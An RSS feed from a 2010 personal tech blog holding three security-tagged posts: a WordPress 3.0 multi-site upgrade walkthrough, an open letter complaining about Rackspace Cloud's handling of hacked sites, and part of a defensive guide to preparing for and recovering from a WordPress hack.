<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Snipe.Net &#187; security</title>
	<atom:link href="http://www.snipe.net/tags/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.snipe.net</link>
	<description>Bitterness never tasted so sweet</description>
	<lastBuildDate>Thu, 29 Jul 2010 05:03:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Upgrading to WordPress 3.0 and Adding Multi-Site</title>
		<link>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/</link>
		<comments>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 06:09:49 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[PHP/mySQL]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wpmu]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3071</guid>
		<description><![CDATA[WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do the same.<br />
<span id="more-3071"></span><br />
Previously, if you wanted to run multiple sites from one core installation of WordPress, you would install <a href="http://mu.wordpress.org/">WPMU</a>. </p>
<p>I had tossed that idea around a lot over the past year, since I run several websites that run on WordPress, but I had heard from enough people who ran into plugin/MU conflict issues that made things go &#8216;splody &#8216;splody that I opted not to. So instead, every time a new version of WordPress came out, I&#8217;d end up upgrading around 20 installs. Blech.</p>
<p>With version 3.0 of WordPress, the ability to create multiple sites using one install of WordPress is built right into the core, so no need to fool around with WPMU. The temptation was too great this time, so I decided to give it a whack. It was not what I would call a smooth process, but it wasn&#8217;t terrible either.</p>
<blockquote><p><strong>STOP: </strong>If you are already running WPMU and you just want to figure out how to upgrade your existing WPMU sites to WordPress 3.0, you&#8217;re reading the wrong article.  <a href="http://developersmind.com/2010/06/17/upgrading-wordpress-mu-2-9-2-to-wordpress-3-0/">Try this one instead</a>.</p></blockquote>
<h3>Goals</h3>
<p>What I wanted to get out of this was to have one main core install, but run multiple sites on their own domains that all pulled from that main core, so upgrading to later versions would mean upgrading one core instead of a dozen or two.  These properties remaining at their current separate domain names (such as www.crankyhaiku.com, www.geekhaiku.com etc) was critical, both because of search engine optimization and for branding reasons.</p>
<h3>Upgrading</h3>
<p>The normal upgrade part was flawless, as WordPress upgrades tend to be these days. Automatic upgrade has never quite worked for me, so I always do a manual upgrade. It takes longer to upload the files, but it&#8217;s a pretty painless process. So to upgrade to 3.0, I did the usual: </p>
<ul>
<li>backup (which I didn&#8217;t actually have to do, since I automatically backup to the Amazon Cloud every night using <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/">Automatic WordPress Plugin</a>) but I&#8217;m paranoid</li>
<li>delete the wp-admin directory</li>
<li> delete the wp-includes directory</li>
<li>upload everything in the WordPress package &#8211; except for wp-content &#8211; to the web root</li>
<li>hit the upgrade script to trigger the database updates</li>
</ul>
<p>Flawless, as usual. Not so much as a hiccup. Now came the trickier part &#8211; adding the &#8220;Network&#8221; functionality previously available in WPMU to start to consolidate sites.</p>
<h3>Creating a Multi-Site Network</h3>
<p>I can&#8217;t speak for how easy or difficult this normally was with WPMU, so unfortunately I can&#8217;t tell you how this process compares to a normal WPMU setup. It wasn&#8217;t awful, but it was definitely buggy.</p>
<p>The WordPress documentation on <a href="http://codex.wordpress.org/Create_A_Network">Creating a Network</a> walks through the basics well enough, so I suggest you start there so you know what to expect.</p>
<p><strong>Note: You will not be able to go through the wizard in your WordPress admin until you deactivate ALL of your plugins. You can obviously re-enable them later, but I found that many of them did not keep their original settings.</strong> </p>
<p>I suspect this might be because I chose &#8220;network activate&#8221; instead of just plain &#8220;activate&#8221;. I had wanted to make those plugins available for all sites in the network, and didn&#8217;t realize that it would wipe out my existing snipe.net settings when I did so. Oh well. (Incidentally, that explains why you might see some weird stuff on the site until I have a chance to go through everything one by one. Double &#8220;related posts&#8221; bits at the end of the articles, Apture wasn&#8217;t working, etc.) All of the settings are fixable, but it may take you a little time to figure out what&#8217;s been lost, and what you have to do to set it back to the way it was before.</p>
<h4>Editing Your wp-config.php</h4>
<p>Beyond the setup in your WordPress admin, you&#8217;ll need to make a few changes to your wp-config.php file and your htaccess file. I hadn&#8217;t updated my wp-config for several versions, so I decided to use the wp-config-sample.php file and just pull my existing database variables over. Whether you use your old wp-config.php or start fresh with the stock WordPress sample, you&#8217;ll need to add the following to your wp-config.php, just <em>above</em> the comment that says &#8220;/* That&#8217;s all, stop editing! Happy blogging. */&#8221;</p>
<p><code>define( 'MULTISITE', true );<br />
define( 'SUBDOMAIN_INSTALL', true );<br />
$base = '/';<br />
define( 'DOMAIN_CURRENT_SITE', 'www.yoursite.com' );<br />
define( 'PATH_CURRENT_SITE', '/' );<br />
define( 'SITE_ID_CURRENT_SITE', 1 );<br />
define( 'BLOG_ID_CURRENT_SITE', 1 );</code></p>
<p>If you followed my suggestion and read the <a href="http://codex.wordpress.org/Create_A_Network">WordPress documentation on creating a network</a> (you did read that, right?), you&#8217;ll see that you have two choices for how your network will be set up: sub-domain (blah1.yourdomain.com, blah2.yourdomain.com) or directory-based (yourdomain.com/blah1, yourdomain.com/blah2). Make sure you think this one through before you get started, since there doesn&#8217;t seem to be an easy way to switch between the two.</p>
<p>As I mentioned, I didn&#8217;t want my sites to live at subdomain.snipe.net, or snipe.net/blogname &#8211; I wanted them to live at their own urls. I also didn&#8217;t want a bunch of crap littering up my document root. The easiest way to do this on Rackspace Cloud Sites is through a combination of setting up a site alias, and using mod_rewrite to handle domains:</p>
<ul>
<li>Set up a <a href="http://help.rackspacecloud.com/article.php?id=077">domain alias</a>, like secondblog.com, and point it to originalblog.com</li>
<li>Modify the mod_rewrite rules in your htaccess access file </li>
<li>In your site preferences, point the blog url to the aliased domain name </li>
</ul>
<p>If you&#8217;re not on Rackspace Cloud Sites, you can just follow the directions in the WordPress documentation.</p>
<h4>Tweaking Your .htaccess</h4>
<p>You&#8217;ll need to make sure the bit below is in your htaccess file &#8211; but your WordPress Network Setup wizard will point that out to you anyway <img src='http://www.snipe.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><code>RewriteCond %{REQUEST_FILENAME} -f [OR]<br />
RewriteCond %{REQUEST_FILENAME} -d<br />
RewriteRule ^ - [L]<br />
RewriteRule . index.php [L]</code></p>
<p>One thing to look out for besides having to reset your plugin preferences: when I created my Network, setting this site as the default, it automatically tried to set the url as snipe.net/blog. I&#8217;m not sure why it did this, and I&#8217;m certain I didn&#8217;t add it anywhere, but when I committed the changeover to Network, all of my urls were broken (since snipe.net/blog/ doesn&#8217;t exist). It was a quick change that you can handle via the Settings menu, but watch out for it and be sure to test your links once you&#8217;ve made the switch. </p>
<h3>Importing Blogs</h3>
<p>Now that you&#8217;ve got a Network set up, you have actually add them to the Network so that they&#8217;re using the same core. I expected this to be a much bigger pain in the ass than it ended up being. All I had to do was go to the original admin, go to TOOLS > EXPORT and download the XML file. Then go into my WordPress 3.0 admin, select the site I wanted to admin, and go to TOOLS > IMPORT > WORDPRESS, and upload the XML file. Worked perfectly, so far as I can tell.</p>
<h3>Security Notes</h3>
<p>Consolidating all of your WordPress sites into one multi-site install has many benefits, the most obvious one being that it&#8217;s easier to maintain one core install than updating every single instance of WordPress you run. That said, you may want to consider a few things:</p>
<p>While one install is probably more &#8220;secure&#8221; than multi-installs in the real world simply because you&#8217;re more likely to keep one site updated than dozens, there are a few things to consider.</p>
<p>If you run multiple WordPress blogs under the same user (the same account, in Rackspace Cloud Sites), all of the files are owned by the same linux user and group. This means that if one of your WordPress installs ends up compromised, either because you forgot to upgrade one of them, or because of a <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">vulnerability in your hosting company</a>, once an attacker has access to one of your blog installs, they have access to any other files owned by that user. Which means all of your other blogs, even the ones that are running current WordPress versions.</p>
<p>Along this same line of thought, if you&#8217;re running multiple WordPress installs under different users and you end up consolidating them to take advantage of the multi-site functionality, do so understanding that in this scenario, all of your blogs will be owned by the same user/group in the same webspace, so one vulnerability could easily turn into a much bigger problem. </p>
<p>Conversely, <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">tracking down backdoors and maliciously modified files</a> could potentially be easier, since you have fewer installs to search through.</p>
<p>WordPress has been much better about quickly patching holes, and being proactive about finding vulnerabilities. If your site ends up getting hacked, these days it&#8217;s more likely to be a vulnerable plugin, an outdated install you forgot all about, or a PC virus that added your FTP login to a botnet &#8211; not the core WordPress install itself. I say this with a certain amount of confidence, since I have restored <em>at least</em> two-dozen hacked WordPress sites (not mine) since the beginning of the year, and have therefore spent countless hours investigating the attack, identifying the vector, and writing up summaries to post to <a href="http://badwarebusters.org/">badwarebusters.org</a> in an effort to help other people facing the same hack.</p>
<p>To be clear, running a multi-site install isn&#8217;t any riskier than running multiple blogs under the same user. But if you&#8217;re currently running your blogs under different users, you should at least be aware of how that could potentially impact you. </p>
<h3>Final Thoughts</h3>
<p>My thought is that it might have been smarter to install WPMU, and then upgrade to 3.0, since the upgrade process for a WPMU setup to 3.0 seems like it was a little less wonky, but I don&#8217;t really know.</p>
<p>I&#8217;ve really only just started playing with this during the fragment of free time I had today (work has been brutal for the past month or so). So far, pulling the theme in has been as simple as downloading them from their respective old WordPress installs and uploading them to the new 3.0 themes directory and activating them so that they&#8217;re available to the rest of the sites in the network. </p>
<p>And certainly, if you&#8217;ve found an easier way to get this done, please let me know in the comments. <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>An Open Letter to Rackspace Cloud Hosting</title>
		<link>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/</link>
		<comments>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 00:07:55 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[rackspace]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2851</guid>
		<description><![CDATA[I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. One thing they seem to have in common is that they&#8217;re all running WordPress, and a lot of them are hosted at the Rackspace Cloud. Dear Alison, Since we host [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. </p>
<p>One thing they seem to have in common is that they&#8217;re all running WordPress, and <a href="http://benmetcalfe.com/blog/2010/01/wordpress-to-be-currently-considered-unsafe/">a lot of them are hosted at the Rackspace Cloud</a>.</p>
<p><span id="more-2851"></span></p>
<blockquote><p>Dear Alison,</p>
<p>Since we host hundreds of thousands of applications at The Rackspace Cloud, we have a unique vantage point from which we can identify security trends and patterns. Lately, the industry has seen an elevated level of attempts to take advantage of code vulnerabilities in the software powering websites. Hackers are a common and persistent threat to any website, but there are steps you can take to protect yourself and to make your websites and applications harder to exploit.</p>
<p>Please read over the important tips below. We have dedicated security experts who work to protect our infrastructure, but since we can&#8217;t fix or upgrade code on behalf of our customers, it&#8217;s important for you to know and regularly implement security best practices in the code you run. We need your help and involvement to ensure your own sites are as protected as possible. If you have any questions about security, please reply to this email and we&#8217;ll  be happy to help.</p>
<p>HERE&#8217;S WHAT OUR SECURITY TEAM HAS RECENTLY IDENTIFIED:</p>
<p>1. The current data that we&#8217;ve collected points to application-based vulnerabilities being exploited. Hackers commonly scan sites for insecure applications, plugins, or other pieces of code and then work to take advantage of the software exploits they find.</p>
<p>2. Applications using the popular blogging software WordPress appear to be mostly targeted, but WordPress isn&#8217;t the sole target of the malicious groups / persons.</p>
<p>3. Your site does not have to be high-profile to be targeted. Hackers often scan random sites for signs of software known to be vulnerable (older versions of popular software with publicly known security holes, for example).</p>
<p>HERE&#8217;S WHAT YOU SHOULD DO NOW TO PROTECT YOUR SITES:</p>
<p>1. This is probably the most important tip: For any application you use, be sure to maintain the most current stable version. Often, an application might be updated to a new minor version solely to address a security hole that&#8217;s been discovered. Be sure to subscribe to any news lists and feeds available for your applications to make sure you are aware of updated versions as soon as they are released.</p>
<p>2. Many applications, like WordPress, have optional plugins developed by the community. Since these add-ons are often not as well vetted, it&#8217;s extremely important to carefully evaluate and manage third party application plugins, themes, or other functionality that is introduced to a running web application. Most hackers are exploiting these plug-ins</p>
<p>3. It&#8217;s imperative to choose strong passwords. Randomly generated strings of letters, numbers, and symbols are best. Avoid words and phrases in your passwords. The unfortunate reality: passwords that are easy to remember are also easy to guess. (Ex: Replacing o by the number 0 is not a recommended tactic.)</p>
<p>4. Change your passwords on a regular basis and change them immediately when you have any hunch that your site may have been attacked.</p>
<p>5. Be as restrictive as possible with users and file permissions. Remove write permissions from files that aren&#8217;t likely to change frequently. Some programs have install files that should be deleted after installation. If you&#8217;ve installed something or written code for testing purposes or experimentation, it&#8217;s best to remove it afterwards. Only keep the files and code on your account that are active and necessary.</p>
<p>As a site owner, you need to take an active role in guaranteeing security of your code and applications. The good news is that our support staff is happy to help you with any questions or concerns you may have. Recovering from a hack or exploit is extremely time-consuming and frustrating. The preventive steps outlined above can make a world of difference in keeping your sites secure.</p>
<p>Finally, if you suspect your site has already been compromised, you should take immediate action. This knowledge base article can help you through the right steps:</p>
<p><a href="http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise">http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise</a></p>
<p>Sincerely,<br />
The Rackspace Cloud Security Team </p></blockquote>
<p>I want to preface this by saying there are a LOT of people that work at Rackspace that are absolutely awesome. The guys I know from Twitter are amazing, and helpful and care about customer happiness more than I can even say. None of this is their fault. This is NOT about them. This is about something fundamentally wrong with priorities at Rackspace, in my opinion.</p>
<p>I replied:</p>
<blockquote><p>Too little, too late. I could have (and did) tell you all of this already.</p>
<p>And unfortunately, running the most recent version of WordPress doesn&#8217;t help. This week, I have personally had to repair 11 WordPress websites hosted on the RS Cloud that were hacked, all were running 2.9.1 and had very few plugins in common. The plugins they do have in common, like WP-Supercache, are plugins Rackspace suggests to keep the CPU-cycle raping down to a minimum. And WP-Supercache is a mature plugin that is very well supported so it seems unlikely (although certainly not impossible) that it is the vector.</p>
<p>And thanks to your logfiles not being able to be viewed in real time (as they are owned by root), this leaves web developers that actually have a clue very few options for forensically backtracking the vector.</p>
<p>I would like to know what Rackspace is doing to help developers isolate these issues? Are logfiles being programmatically reviewed for malicious traffic? Without SSH access and the ability to tail apache logs, we cannot do this ourselves within any kind of timeframe that will be useful in preventing or mitigating an attack. If I am going to continue hosting with Rackspace, I want to be assured that Rackspace is actually doing something to help us protect ourselves other than send emails that overstate the obvious.</p>
<p>Your support staff, at least most of the level 1 techs, are completely and utterly incapable of handling anything relating to hacks. They are slow and under-educated, regardless of how well meaning they might be.</p>
<p>You guys are in the position where you can help isolate these vectors. What steps are you taking? You need to up your game, or I&#8217;m bailing, and likely taking a lot of people with me. There is a lot of buzz going around about these vulnerabilities being specific to Rackspace Cloud, as it seems the vast, vast majority of the WordPress hacks have been on RS CS hosted sites.</p>
<p>I have confronted several of your higher-ups in the Cloud, including CTO John Engates, multiple times over the past year, begging for better tools to monitor security, offering to pay extra for them. Simple tools that even terrible, insecure Cpanel servers have. The entire purpose of Mosso, when it was created, was to target web developers &#8211; at least that&#8217;s how it was pitched to me. Web developers. Professionals. Many of us with over a decade of experience in this business. You deny us SSH and real-time Apache logs, but do nothing to provide us with any tools we would need without access to those basics &#8211; and then to add insult to injury, you send us a form letter that tells us to use good passwords and keep WordPress up to date? If your target is still the web development community, it&#8217;s time to nut up or shut up. We&#8217;re already doing all of these things, and we&#8217;re still getting fucked. It makes us look bad, it costs us time and money, and the trust of our clients.</p>
<p>Your customers are under attack, and I want to know what you plan to do to help us protect ourselves and our clients, or I am taking my business to a company that values my time and reputation.</p></blockquote>
<p>I would not have published this letter to my blog if this were not something that I have been asking for, over and over and over, for the entire year I&#8217;ve been with Rackspace Cloud. I have tried to keep my issues with Rackspace off the grid, because overall I have felt like they&#8217;ve been trying to work with me to keep me happy. But this was just too much.</p>
<p>No one is sorrier than I am that it came to this. </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/03/the-cloud-is-a-lie/' rel='bookmark' title='Permanent Link: The Cloud is a Lie'>The Cloud is a Lie</a> <small>Okay, the cloud (or grid or whatever they&#8217;re calling it...</small></li>
<li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>When Your WordPress Blog Gets Hacked</title>
		<link>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/</link>
		<comments>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 11:11:10 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[keyloggers]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2809</guid>
		<description><![CDATA[It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it. This article will [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.<br />
<span id="more-2809"></span></p>
<p>This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won&#8217;t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.</p>
<p>Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you&#8217;re not a pro, you probably just haven&#8217;t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.</p>
<h3>The Impact of a Hack</h3>
<p>The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We&#8217;ll get into that a little further down in the article, but the high-level impacts of a site hack are:</p>
<ul>
<li>Lost time spent restoring the site, or lost money paying someone else to if you don&#8217;t have the technical skills.</li>
<li> Possibly lost data or files.</li>
<li>Site downtime, potentially resulting in lost sales or referrals</li>
<li>Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.</li>
<li>Possibly infecting your users with malware.</li>
</ul>
<p>Pretty serious stuff &#8211; but fortunately, <strong>two of the most significant items in that list are things you can directly mitigate</strong> by taking some precautions and staying calm if you get hit with an attack.</p>
<h3>When You Fail to Prepare, You Prepare to Fail</h3>
<p>My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I&#8217;ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.</p>
<p>Right now, as you&#8217;re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I&#8217;m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won&#8217;t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don&#8217;t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that&#8217;s the first time it&#8217;s been attempted, you&#8217;re dead wrong.</p>
<p>There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.</p>
<h3>Keep WordPress and Plugins Up to Date</h3>
<p>This seems obvious, but it&#8217;s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn&#8217;t take very long to do a full upgrade, and it&#8217;s one of the easiest ways you protect yourself from attacks.</p>
<p>WordPress is actually pretty secure these days &#8211; certainly a far cry from where it used to be. They&#8217;ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don&#8217;t help you if you&#8217;re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star&#8217;s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it&#8217;s patched.</p>
<p>WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it&#8217;s up to you to upgrade to reap the benefits of the patches. It&#8217;s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you&#8217;ve got to remember to login once in a  while and update them.</p>
<p>Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.</p>
<p><strong>IMPORTANT: Make sure that you upgrade ALL of your WordPress installations.</strong> Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that <strong>if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date</strong> by changing files, installing shells and backdoors, etc.</p>
<h3>Backup, Backup and Backup again</h3>
<p>Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is <em>your</em> responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.</p>
<p>Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what&#8217;s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.</p>
<p>In addition to whatever backups your server provides, <strong><a href="http://codex.wordpress.org/WordPress_Backups#Automatic_Backups" target="_blank">WordPress has several plugins and tools available</a></strong> to make backing up your blog pretty painless.</p>
<p>I personally do automatic backups to an Amazon S3 account, with the help of a <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/" target="_blank">fantastic plugin called Automatic WordPress Backup</a>. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn&#8217;t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.</p>
<p>It&#8217;s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine &#8211; you will never, ever regret it.</p>
<p><strong>Remember that a backup isn&#8217;t a backup until you&#8217;ve tested that it actually works. </strong>Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don&#8217;t have to figure it out from scratch while you&#8217;re freaking out because you&#8217;ve been hacked. Same concept as a fire drill.</p>
<h3>Ask Your Web Host Where Your Log Files Live</h3>
<p>In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don&#8217;t have to scramble to find them during the heat of the moment.</p>
<h3>Early Detection Equals Better Reputation Damage Control</h3>
<p>The only thing worse than being hacked in the first place is being the last to know about it. It&#8217;s embarrassing, it&#8217;s awkward, and you can come off seeming like you&#8217;re out of touch with your own site.</p>
<p>When a user tells you your site has been hacked, <strong>you now have to deal with public perception damage control in addition to getting your site back online</strong> and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.</p>
<p>Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay <strong>means more of your users could end up with infected computers</strong>. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.</p>
<p>So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you&#8217;re always the first &#8211; or damn close &#8211; to know? Easy.</p>
<p><strong>Set up an account with one of the cheap or free website monitoring services.</strong> There are many to choose from, and some offer more features than others, but you can <a href="http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/">see a comparison of the ones I&#8217;ve tried here</a>.  I personally prefer <a href="http://site24x7.com/" target="_blank">Site24x7</a> because of the alert configuration options.</p>
<p><img class="aligncenter size-large wp-image-2819" title="site24x7" src="http://www.snipe.net/wp-content/uploads/2010/01/site24x7-560x184.png" alt="" width="560" height="184" /></p>
<p>As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn&#8217;t found in the test. I&#8217;ve also added an alert to search for the keyword &#8220;iframe&#8221;, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.</p>
<p>Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don&#8217;t get any false alarms.</p>
